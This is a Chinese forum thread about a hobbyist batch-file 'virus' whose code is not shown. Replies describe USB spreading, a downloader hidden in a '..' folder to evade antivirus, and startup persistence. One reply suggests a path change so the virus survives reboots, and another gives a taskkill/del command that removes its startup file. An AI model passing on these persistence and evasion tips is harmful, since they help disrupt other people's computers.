给大家一个BAT编写的病毒,自己做完运行一下,看看什么效果

严重肯定下，你写的bat很规范，变量也用地很好。。
我也学BAT
给你看看我的把，很久前写的，不要见笑啊，U盘传播，外加一个免杀的下载者（因为这个下载者放到了带“..”的特殊文件夹里，你应该明白呵呵)
AUTOEXEC --开机过程中就运行病毒了
带感染BAT文件，而且自身感染好像没有考虑= =||

其实那些TSkill都没用，编这个的时候我很菜

这个根本就没有用。只要懂得批处理就知道，你前面加了echo，是显示后面的内容，不会运行，关键的几句也没什么意思。至于echo去掉以后就懒得看了，反正你现在这个是没什么关系。

不行写得不好!!@!
想一下:
如果不是在系统所在盘(%SystemDrive%)下运行有什么后果??
是不是找不到目录!!导致重启后就不会在运行了所以应将第一句改一下
%HOMEPATH%改成%SystemDrive%%homepath%这样会更好
不过在强也只是个批处理而已;一句命令kill它
taskkill /f /im cmd.exe &del "%SystemDrive%%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat"
多运行两次一定搞定

还好啊..
运行后会删除自身..
系统后台会自动运行CMD..不断的运行..
然后进程里就会多很多CMD进程..
电脑一会后就会很卡..再过一会..依我看哪..就是死机了..
呵呵..还挺有意思的..
